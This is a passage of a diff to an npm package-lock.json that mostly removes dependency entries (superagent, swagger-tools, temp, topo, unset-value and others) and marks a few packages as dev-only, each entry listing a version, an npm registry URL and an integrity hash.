"sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", +- "requires": { +- "core-util-is": "~1.0.0", +- "inherits": "~2.0.3", +- "isarray": "~1.0.0", +- "process-nextick-args": "~2.0.0", +- "safe-buffer": "~5.1.1", +- "string_decoder": "~1.1.1", +- "util-deprecate": "~1.0.1" +- } +- }, +- "string_decoder": { +- "version": "1.1.1", +- "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", +- "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", +- "requires": { +- "safe-buffer": "~5.1.0" +- } +- } +- } +- }, + "string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", +@@ -63820,75 +51277,6 @@ + "resolved": "https://registry.npmjs.org/style-mod/-/style-mod-4.0.0.tgz", + "integrity": "sha512-OPhtyEjyyN9x3nhPsu76f52yUGXiZcgvsrFVtvTkyGRQJ0XK+GPc6ov1z+lRpbeabka+MYEQxOYRnt5nF30aMw==" + }, +- "superagent": { +- "version": "3.8.3", +- "resolved": "https://registry.npmjs.org/superagent/-/superagent-3.8.3.tgz", +- "integrity": "sha512-GLQtLMCoEIK4eDv6OGtkOoSMt3D+oq0y3dsxMuYuDvaNUvuT8eFBuLmfR0iYYzHC1e8hpzC6ZsxbuP6DIalMFA==", +- "requires": { +- "component-emitter": "^1.2.0", +- "cookiejar": "^2.1.0", +- "debug": "^3.1.0", +- "extend": "^3.0.0", +- "form-data": "^2.3.1", +- "formidable": "^1.2.0", +- "methods": "^1.1.1", +- "mime": "^1.4.1", +- "qs": "^6.5.1", +- "readable-stream": "^2.3.5" +- }, +- "dependencies": { +- "debug": { +- "version": "3.2.7", +- "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", +- "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", +- "requires": { +- "ms": "^2.1.1" +- } +- }, +- "form-data": { +- "version": "2.5.1", +- "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.5.1.tgz", +- "integrity": "sha512-m21N3WOmEEURgk6B9GLOE4RuWOFf28Lhh9qGYeNlGq4VDXUlJy2th2slBNU8Gp8EzloYZOibZJ7t5ecIrFSjVA==", +- "requires": { +- "asynckit": "^0.4.0", +- "combined-stream": "^1.0.6", +- "mime-types": "^2.1.12" +- } +- }, +- "isarray": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", +- "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=" +- }, +- "mime": { +- "version": "1.6.0", +- "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", +- "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==" +- }, +- "readable-stream": { +- "version": "2.3.7", +- "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", +- "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", +- "requires": { +- "core-util-is": "~1.0.0", +- "inherits": "~2.0.3", +- "isarray": "~1.0.0", +- "process-nextick-args": "~2.0.0", +- "safe-buffer": "~5.1.1", +- "string_decoder": "~1.1.1", +- "util-deprecate": "~1.0.1" +- } +- }, +- "string_decoder": { +- "version": "1.1.1", +- "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", +- "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", +- "requires": { +- "safe-buffer": "~5.1.0" +- } +- } +- } +- }, + "supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", +@@ -63902,259 +51290,6 @@ + "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", + "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==" + }, +- "swagger-client": { +- "version": "3.18.4", +- "resolved": "https://registry.npmjs.org/swagger-client/-/swagger-client-3.18.4.tgz", +- "integrity": "sha512-Wj26oEctONq/u0uM+eSj18675YM5e2vFnx7Kr4neLeXEHKUsfceVQ/OdtrBXdrT3VbtdBbZfMTfl1JOBpix2MA==", +- "requires": { +- "@babel/runtime-corejs3": "^7.11.2", +- "btoa": "^1.2.1", +- "cookie": "~0.4.1", +- "cross-fetch": "^3.1.5", +- "deepmerge": "~4.2.2", +- "fast-json-patch": "^3.0.0-1", +- "form-data-encoder": "^1.4.3", +- "formdata-node": "^4.0.0", +- "is-plain-object": "^5.0.0", +- "js-yaml": "^4.1.0", +- "lodash": "^4.17.21", +- "qs": "^6.10.2", +- "traverse": "~0.6.6", +- "url": "~0.11.0" +- }, +- "dependencies": { +- "cookie": { +- "version": "0.4.2", +- "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.2.tgz", +- "integrity": "sha512-aSWTXFzaKWkvHO1Ny/s+ePFpvKsPnjc551iI41v3ny/ow6tBG5Vd+FuqGNhh1LxOmVzOlGUriIlOaokOvhaStA==" +- }, +- "is-plain-object": { +- "version": "5.0.0", +- "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-5.0.0.tgz", +- "integrity": "sha512-VRSzKkbMm5jMDoKLbltAkFQ5Qr7VDiTFGXxYFXXowVj387GeGNOCsOH6Msy00SGZ3Fp84b1Naa1psqgcCIEP5Q==" +- }, +- "punycode": { +- "version": "1.3.2", +- "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.3.2.tgz", +- "integrity": "sha1-llOgNvt8HuQjQvIyXM7v6jkmxI0=" +- }, +- "traverse": { +- "version": "0.6.6", +- "resolved": "https://registry.npmjs.org/traverse/-/traverse-0.6.6.tgz", +- "integrity": "sha1-y99WD9e5r2MlAv7UD5GMFX6pcTc=" +- }, +- "url": { +- "version": "0.11.0", +- "resolved": "https://registry.npmjs.org/url/-/url-0.11.0.tgz", +- "integrity": "sha1-ODjpfPxgUh63PFJajlW/3Z4uKPE=", +- "requires": { +- "punycode": "1.3.2", +- "querystring": "0.2.0" +- } +- } +- } +- }, +- "swagger-converter": { +- "version": "0.1.7", +- "resolved": "https://registry.npmjs.org/swagger-converter/-/swagger-converter-0.1.7.tgz", +- "integrity": "sha1-oJdRnG8e5N1n4wjZtT3cnCslf5c=", +- "requires": { +- "lodash.clonedeep": "^2.4.1" +- } +- }, +- "swagger-fluent": { +- "version": "5.0.3", +- "resolved": "https://registry.npmjs.org/swagger-fluent/-/swagger-fluent-5.0.3.tgz", +- "integrity": "sha512-i43ADMtPi7dxAN75Lw50SlncMB31FgaVwXqKioR8SWs+Yon2RbiLU1J1PGMXA4N8cSt9Vz5RHzaoKjz/+iW88g==", +- "requires": { +- "deepmerge": "^4.2.2", +- "is-plain-object": "^3.0.0", +- "request": "^2.88.0" +- }, +- "dependencies": { +- "is-plain-object": { +- "version": "3.0.1", +- "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-3.0.1.tgz", +- "integrity": "sha512-Xnpx182SBMrr/aBik8y+GuR4U1L9FqMSojwDQwPMmxyC6bvEqly9UBCxhauBF5vNh2gwWJNX6oDV7O+OM4z34g==" +- } +- } +- }, +- "swagger-tools": { +- "version": "0.10.4", +- "resolved": "https://registry.npmjs.org/swagger-tools/-/swagger-tools-0.10.4.tgz", +- "integrity": "sha512-VQpijIi8cpB/frUZOZlVpS7U3CrdSAZBfiHu448R1njiNXUnE7heF3Svz3qFBr5SYtaPvaqWpHMbvboirCXVzA==", +- "requires": { +- "async": "^2.5.0", +- "body-parser": "1.18.2", +- "commander": "~2.11.0", +- "debug": "^3.1.0", +- "js-yaml": "^3.3.1", +- "json-refs": "^3.0.2", +- "lodash": "^4.17.4", +- "multer": "^1.1.0", +- "parseurl": "^1.3.0", +- "path-to-regexp": "^2.0.0", +- "qs": "^6.0.3", +- "serve-static": "^1.10.0", +- "spark-md5": "^3.0.0", +- "superagent": "^3.5.2", +- "swagger-converter": "^0.1.7", +- "traverse": "^0.6.6", +- "z-schema": "^3.15.4" +- }, +- "dependencies": { +- "argparse": { +- "version": "1.0.10", +- "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", +- "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", +- "requires": { +- "sprintf-js": "~1.0.2" +- } +- }, +- "async": { +- "version": "2.6.3", +- "resolved": "https://registry.npmjs.org/async/-/async-2.6.3.tgz", +- "integrity": "sha512-zflvls11DCy+dQWzTW2dzuilv8Z5X/pjfmZOWba6TNIVDm+2UDaJmXSOXlasHKfNBs8oo3M0aT50fDEWfKZjXg==", +- "requires": { +- "lodash": "^4.17.14" +- } +- }, +- "body-parser": { +- "version": "1.18.2", +- "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.18.2.tgz", +- "integrity": "sha1-h2eKGdhLR9hZuDGZvVm84iKxBFQ=", +- "requires": { +- "bytes": "3.0.0", +- "content-type": "~1.0.4", +- "debug": "2.6.9", +- "depd": "~1.1.1", +- "http-errors": "~1.6.2", +- "iconv-lite": "0.4.19", +- "on-finished": "~2.3.0", +- "qs": "6.5.1", +- "raw-body": "2.3.2", +- "type-is": "~1.6.15" +- }, +- "dependencies": { +- "debug": { +- "version": "2.6.9", +- "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", +- "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", +- "requires": { +- "ms": "2.0.0" +- } +- }, +- "ms": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", +- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" +- } +- } +- }, +- "bytes": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.0.0.tgz", +- "integrity": "sha1-0ygVQE1olpn4Wk6k+odV3ROpYEg=" +- }, +- "commander": { +- "version": "2.11.0", +- "resolved": "https://registry.npmjs.org/commander/-/commander-2.11.0.tgz", +- "integrity": "sha512-b0553uYA5YAEGgyYIGYROzKQ7X5RAqedkfjiZxwi0kL1g3bOaBNNZfYkzt/CL0umgD5wc9Jec2FbB98CjkMRvQ==" +- }, +- "debug": { +- "version": "3.2.7", +- "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", +- "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", +- "requires": { +- "ms": "^2.1.1" +- } +- }, +- "http-errors": { +- "version": "1.6.3", +- "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.6.3.tgz", +- "integrity": "sha1-i1VoC7S+KDoLW/TqLjhYC+HZMg0=", +- "requires": { +- "depd": "~1.1.2", +- "inherits": "2.0.3", +- "setprototypeof": "1.1.0", +- "statuses": ">= 1.4.0 < 2" +- } +- }, +- "iconv-lite": { +- "version": "0.4.19", +- "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.19.tgz", +- "integrity": "sha512-oTZqweIP51xaGPI4uPa56/Pri/480R+mo7SeU+YETByQNhDG55ycFyNLIgta9vXhILrxXDmF7ZGhqZIcuN0gJQ==" +- }, +- "inherits": { +- "version": "2.0.3", +- "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", +- "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=" +- }, +- "js-yaml": { +- "version": "3.14.1", +- "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz", +- "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==", +- "requires": { +- "argparse": "^1.0.7", +- "esprima": "^4.0.0" +- } +- }, +- "path-to-regexp": { +- "version": "2.4.0", +- "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-2.4.0.tgz", +- "integrity": "sha512-G6zHoVqC6GGTQkZwF4lkuEyMbVOjoBKAEybQUypI1WTkqinCOrq2x6U2+phkJ1XsEMTy4LjtwPI7HW+NVrRR2w==" +- }, +- "qs": { +- "version": "6.5.1", +- "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.1.tgz", +- "integrity": "sha512-eRzhrN1WSINYCDCbrz796z37LOe3m5tmW7RQf6oBntukAG1nmovJvhnwHHRMAfeoItc1m2Hk02WER2aQ/iqs+A==" +- }, +- "raw-body": { +- "version": "2.3.2", +- "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.3.2.tgz", +- "integrity": "sha1-vNYMd9Prk83gBQKVw/N5OJvIj4k=", +- "requires": { +- "bytes": "3.0.0", +- "http-errors": "1.6.2", +- "iconv-lite": "0.4.19", +- "unpipe": "1.0.0" +- }, +- "dependencies": { +- "depd": { +- "version": "1.1.1", +- "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.1.tgz", +- "integrity": "sha1-V4O04cRZ8G+lyif5kfPQbnoxA1k=" +- }, +- "http-errors": { +- "version": "1.6.2", +- "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.6.2.tgz", +- "integrity": "sha1-CgAsyFcHGSp+eUbO7cERVfYOxzY=", +- "requires": { +- "depd": "1.1.1", +- "inherits": "2.0.3", +- "setprototypeof": "1.0.3", +- "statuses": ">= 1.3.1 < 2" +- } +- }, +- "setprototypeof": { +- "version": "1.0.3", +- "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.0.3.tgz", +- "integrity": "sha1-ZlZ+NwQ+608E2RvWWMDL77VbjgQ=" +- } +- } +- }, +- "setprototypeof": { +- "version": "1.1.0", +- "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.0.tgz", +- "integrity": "sha512-BvE/TwpZX4FXExxOxZyRGQQv651MSwmWKZGqvmPcRIjDqWub67kTKuIMx43cZZrS/cBBzwBcNDWoFxt2XEFIpQ==" +- }, +- "traverse": { +- "version": "0.6.6", +- "resolved": "https://registry.npmjs.org/traverse/-/traverse-0.6.6.tgz", +- "integrity": "sha1-y99WD9e5r2MlAv7UD5GMFX6pcTc=" +- } +- } +- }, + "symbol-tree": { + "version": "3.2.4", + "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz", +@@ -64275,11 +51410,6 @@ + } + } + }, +- "tarn": { +- "version": "3.0.2", +- "resolved": "https://registry.npmjs.org/tarn/-/tarn-3.0.2.tgz", +- "integrity": "sha512-51LAVKUSZSVfI05vjPESNc5vwqqZpbXCsU+/+wxlOrUjk2SnFTt97v9ZgQrD4YmxYW1Px6w2KjaDitCfkvgxMQ==" +- }, + "tdigest": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/tdigest/-/tdigest-0.1.1.tgz", +@@ -64322,24 +51452,6 @@ + } + } + }, +- "temp": { +- "version": "0.8.4", +- "resolved": "https://registry.npmjs.org/temp/-/temp-0.8.4.tgz", +- "integrity": "sha512-s0ZZzd0BzYv5tLSptZooSjK8oj6C+c19p7Vqta9+6NPOf7r+fxq0cJe6/oN4LTC79sy5NY8ucOJNgwsKCSbfqg==", +- "requires": { +- "rimraf": "~2.6.2" +- }, +- "dependencies": { +- "rimraf": { +- "version": "2.6.3", +- "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.6.3.tgz", +- "integrity": "sha512-mwqeW5XsA2qAejG46gYdENaxXjx9onRNCfn7L0duuP4hCuTIi/QO7PDK07KJfp1d+izWPrzEJDcSqBa0OZQriA==", +- "requires": { +- "glob": "^7.1.3" +- } +- } +- } +- }, + "temp-path": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/temp-path/-/temp-path-1.0.0.tgz", +@@ -64436,14 +51548,6 @@ + "resolved": "https://registry.npmjs.org/thirty-two/-/thirty-two-1.0.2.tgz", + "integrity": "sha1-TKL//AKlEpDSdEueP1V2k8prYno=" + }, +- "throng": { +- "version": "4.0.0", +- "resolved": "https://registry.npmjs.org/throng/-/throng-4.0.0.tgz", +- "integrity": "sha1-mDxroZk7WOroWZmKpof/6I34TBc=", +- "requires": { +- "lodash.defaults": "^4.0.1" +- } +- }, + "throttleit": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/throttleit/-/throttleit-1.0.0.tgz", +@@ -64521,27 +51625,12 @@ + "integrity": "sha512-eHY7nBftgThBqOyHGVN+l8gF0BucP09fMo0oO/Lb0w1OF80dJv+lDVpXG60WMQvkcxAkNybKsrEIE3ZtKGmPrA==", + "devOptional": true + }, +- "tildify": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/tildify/-/tildify-2.0.0.tgz", +- "integrity": "sha512-Cc+OraorugtXNfs50hU9KS369rFXCfgGLpfCfvlc+Ud5u6VWmUQsOAa9HbTvheQdYnrdJqqv1e5oIqXppMYnSw==" +- }, + "timekeeper": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/timekeeper/-/timekeeper-2.2.0.tgz", + "integrity": "sha512-W3AmPTJWZkRwu+iSNxPIsLZ2ByADsOLbbLxe46UJyWj3mlYLlwucKiq+/dPm0l9wTzqoF3/2PH0AGFCebjq23A==", + "dev": true + }, +- "timers-ext": { +- "version": "0.1.7", +- "resolved": "https://registry.npmjs.org/timers-ext/-/timers-ext-0.1.7.tgz", +- "integrity": "sha512-b85NUNzTSdodShTIbky6ZF02e8STtVVfD+fu4aXXShEELpozH+bCpJLYMPZbsABN2wDH7fJpqIoXxJpzbf0NqQ==", +- "dev": true, +- "requires": { +- "es5-ext": "~0.10.46", +- "next-tick": "1" +- } +- }, + "tiny-async-pool": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/tiny-async-pool/-/tiny-async-pool-1.2.0.tgz", +@@ -64558,11 +51647,6 @@ + } + } + }, +- "tiny-lru": { +- "version": "8.0.2", +- "resolved": "https://registry.npmjs.org/tiny-lru/-/tiny-lru-8.0.2.tgz", +- "integrity": "sha512-ApGvZ6vVvTNdsmt676grvCkUCGwzG9IqXma5Z07xJgiC5L7akUMof5U8G2JTI9Rz/ovtVhJBlY6mNhEvtjzOIg==" +- }, + "tiny-warning": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/tiny-warning/-/tiny-warning-1.0.3.tgz", +@@ -64617,6 +51701,7 @@ + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/to-object-path/-/to-object-path-0.3.0.tgz", + "integrity": "sha1-KXWIt7Dn4KwI4E5nL4XB9JmeF68=", ++ "dev": true, + "requires": { + "kind-of": "^3.0.2" + }, +@@ -64625,47 +51710,13 @@ + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", ++ "dev": true, + "requires": { + "is-buffer": "^1.1.5" + } + } + } + }, +- "to-readable-stream": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/to-readable-stream/-/to-readable-stream-1.0.0.tgz", +- "integrity": "sha512-Iq25XBt6zD5npPhlLVXGFN3/gyR2/qODcKNNyTMd4vbm39HUaOiAM4PMq0eMVC/Tkxz+Zjdsc55g9yyz+Yq00Q==" +- }, +- "to-regex": { +- "version": "3.0.2", +- "resolved": "https://registry.npmjs.org/to-regex/-/to-regex-3.0.2.tgz", +- "integrity": "sha512-FWtleNAtZ/Ki2qtqej2CXTOayOH9bHDQF+Q48VpWyDXjbYxA4Yz8iDB31zXOBUlOHHKidDbqGVrTUvQMPmBGBw==", +- "requires": { +- "define-property": "^2.0.2", +- "extend-shallow": "^3.0.2", +- "regex-not": "^1.0.2", +- "safe-regex": "^1.1.0" +- }, +- "dependencies": { +- "extend-shallow": { +- "version": "3.0.2", +- "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz", +- "integrity": "sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=", +- "requires": { +- "assign-symbols": "^1.0.0", +- "is-extendable": "^1.0.1" +- } +- }, +- "is-extendable": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", +- "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", +- "requires": { +- "is-plain-object": "^2.0.4" +- } +- } +- } +- }, + "to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", +@@ -64791,31 +51842,11 @@ + "integrity": "sha512-gVweAectJU3ebq//Ferr2JUY4WKSDe5N+z0FvjDncLGyHmIDoxgY/2Ie4qfEIDm4IS7OA6Rmdm7pdEEdMcV/xQ==", + "dev": true + }, +- "topo": { +- "version": "3.0.3", +- "resolved": "https://registry.npmjs.org/topo/-/topo-3.0.3.tgz", +- "integrity": "sha512-IgpPtvD4kjrJ7CRA3ov2FhWQADwv+Tdqbsf1ZnPUSAtCJ9e1Z44MmoSGDXGk4IppoZA7jd/QRkNddlLJWlUZsQ==", +- "requires": { +- "hoek": "6.x.x" +- }, +- "dependencies": { +- "hoek": { +- "version": "6.1.3", +- "resolved": "https://registry.npmjs.org/hoek/-/hoek-6.1.3.tgz", +- "integrity": "sha512-YXXAAhmF9zpQbC7LEcREFtXfGq5K1fmd+4PHkBq8NUqmzW3G+Dq10bI/i0KucLRwss3YYFQ0fSfoxBZYiGUqtQ==" +- } +- } +- }, + "toposort": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/toposort/-/toposort-2.0.2.tgz", + "integrity": "sha1-riF2gXXRVZ1IvvNUILL0li8JwzA=" + }, +- "toposort-class": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/toposort-class/-/toposort-class-1.0.1.tgz", +- "integrity": "sha1-f/0feMi+KMO6Rc1OGj9e4ZO9mYg=" +- }, + "touch": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/touch/-/touch-3.1.0.tgz", +@@ -65000,7 +52031,8 @@ + "typical": { + "version": "2.6.1", + "resolved": "https://registry.npmjs.org/typical/-/typical-2.6.1.tgz", +- "integrity": "sha1-XAgOXWYcu+OCWdLnCjxyU+hziB0=" ++ "integrity": "sha1-XAgOXWYcu+OCWdLnCjxyU+hziB0=", ++ "dev": true + }, + "ua-parser-js": { + "version": "0.7.31", +@@ -65032,15 +52064,6 @@ + "resolved": "https://registry.npmjs.org/uid2/-/uid2-0.0.4.tgz", + "integrity": "sha512-IevTus0SbGwQzYh3+fRsAMTVVPOoIVufzacXcHPmdlle1jUpq7BRL+mw3dgeLanvGZdwwbWhRV6XrcFNdBmjWA==" + }, +- "umzug": { +- "version": "2.3.0", +- "resolved": "https://registry.npmjs.org/umzug/-/umzug-2.3.0.tgz", +- "integrity": "sha512-Z274K+e8goZK8QJxmbRPhl89HPO1K+ORFtm6rySPhFKfKc5GHhqdzD0SGhSWHkzoXasqJuItdhorSvY7/Cgflw==", +- "dev": true, +- "requires": { +- "bluebird": "^3.7.2" +- } +- }, + "unbox-primitive": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.0.1.tgz", +@@ -65055,7 +52078,8 @@ + "unc-path-regex": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/unc-path-regex/-/unc-path-regex-0.1.2.tgz", +- "integrity": "sha1-5z3T17DXxe2G+6xrCufYxqadUPo=" ++ "integrity": "sha1-5z3T17DXxe2G+6xrCufYxqadUPo=", ++ "dev": true + }, + "uncontrollable": { + "version": "7.2.1", +@@ -65121,17 +52145,6 @@ + "resolved": "https://registry.npmjs.org/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-2.0.0.tgz", + "integrity": "sha512-5Zfuy9q/DFr4tfO7ZPeVXb1aPoeQSdeFMLpYuFebehDAhbuevLs5yxSZmIFN1tP5F9Wl4IpJrYojg85/zgyZHQ==" + }, +- "union-value": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/union-value/-/union-value-1.0.1.tgz", +- "integrity": "sha512-tJfXmxMeWYnczCVs7XAEvIV7ieppALdyepWMkHkwciRpZraG/xwT+s2JN8+pr1+8jCRf80FFzvr+MpQeeoF4Xg==", +- "requires": { +- "arr-union": "^3.1.0", +- "get-value": "^2.0.6", +- "is-extendable": "^0.1.1", +- "set-value": "^2.0.1" +- } +- }, + "unique-stream": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/unique-stream/-/unique-stream-2.3.1.tgz", +@@ -65150,11 +52163,6 @@ + "crypto-random-string": "^2.0.0" + } + }, +- "universal-user-agent": { +- "version": "6.0.0", +- "resolved": "https://registry.npmjs.org/universal-user-agent/-/universal-user-agent-6.0.0.tgz", +- "integrity": "sha512-isyNax3wXoKaulPDZWHQqbmIx1k2tb9fb3GGDBRxCscfYV2Ch7WxPArBsFEG8s/safwXTT7H4QGhaIkTp9447w==" +- }, + "universalify": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz", +@@ -65165,47 +52173,6 @@ + "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", + "integrity": "sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw=" + }, +- "unset-value": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/unset-value/-/unset-value-1.0.0.tgz", +- "integrity": "sha1-g3aHP30jNRef+x5vw6jtDfyKtVk=", +- "requires": { +- "has-value": "^0.3.1", +- "isobject": "^3.0.0" +- }, +- "dependencies": { +- "has-value": { +- "version": "0.3.1", +- "resolved": "https://registry.npmjs.org/has-value/-/has-value-0.3.1.tgz", +- "integrity": "sha1-ex9YutpiyoJ+wKIHgCVlSEWZXh8=", +- "requires": { +- "get-value": "^2.0.3", +- "has-values": "^0.1.4", +- "isobject": "^2.0.0" +- }, +- "dependencies": { +- "isobject": { +- "version": "2.1.0", +- "resolved": "https://registry.npmjs.org/isobject/-/isobject-2.1.0.tgz", +- "integrity": "sha1-8GVWEJaj8dou9GJy+BXIQNh+DIk=", +- "requires": { +- "isarray": "1.0.0" +- } +- } +- } +- }, +- "has-values": { +- "version": "0.1.4", +- "resolved": "https://registry.npmjs.org/has-values/-/has-values-0.1.4.tgz", +- "integrity": "sha1-bWHeldkd/Km5oCCJrThL/49it3E=" +- }, +- "isarray": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", +- "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=" +- } +- } +- }, + "untildify": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/untildify/-/untildify-4.0.0.tgz", +@@ -65271,11 +52238,6 @@ + "punycode": "^2.1.0" + } + }, +- "urix": { +- "version": "0.1.0", +- "resolved": "https://registry.npmjs.org/urix/-/urix-0.1.0.tgz", +- "integrity": "sha1-2pN/emLiH+wf0Y1Js1wpNQZ6bHI=" +- }, + "url": { + "version": "0.10.3", + "resolved": "https://registry.npmjs.org/url/-/url-0.10.3.tgz", +@@ -65292,11 +52254,6 @@ + } + } + }, +- "url-join": { +- "version": "4.0.1", +- "resolved": "https://registry.npmjs.org/url-join/-/url-join-4.0.1.tgz", +- "integrity": "sha512-jk1+QP6ZJqyOiuEI9AEWQfju/nB2Pw466kbA0LEZljHwKeMgd9WrAEgEGxjPDD2+TNbbb37rTyhEfrCXfuKXnA==" +- }, + "url-parse": { + "version": "1.5.10", + "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.10.tgz", +@@ -65306,31 +52263,6 @@ + "requires-port": "^1.0.0" + } + }, +- "url-parse-lax": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/url-parse-lax/-/url-parse-lax-3.0.0.tgz", +- "integrity": "sha1-FrXK/Afb42dsGxmZF3gj1lA6yww=", +- "requires": { +- "prepend-http": "^2.0.0" +- }, +- "dependencies": { +- "prepend-http": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/prepend-http/-/prepend-http-2.0.0.tgz", +- "integrity": "sha1-6SQ0v6XqjBn0HN/UAddBo8gZ2Jc=" +- } +- } +- }, +- "url-template": { +- "version": "2.0.8", +- "resolved": "https://registry.npmjs.org/url-template/-/url-template-2.0.8.tgz", +- "integrity": "sha1-/FZaPMy/93MMd19WQflVV5FDnyE=" +- }, +- "use": { +- "version": "3.1.1", +- "resolved": "https://registry.npmjs.org/use/-/use-3.1.1.tgz", +- "integrity": 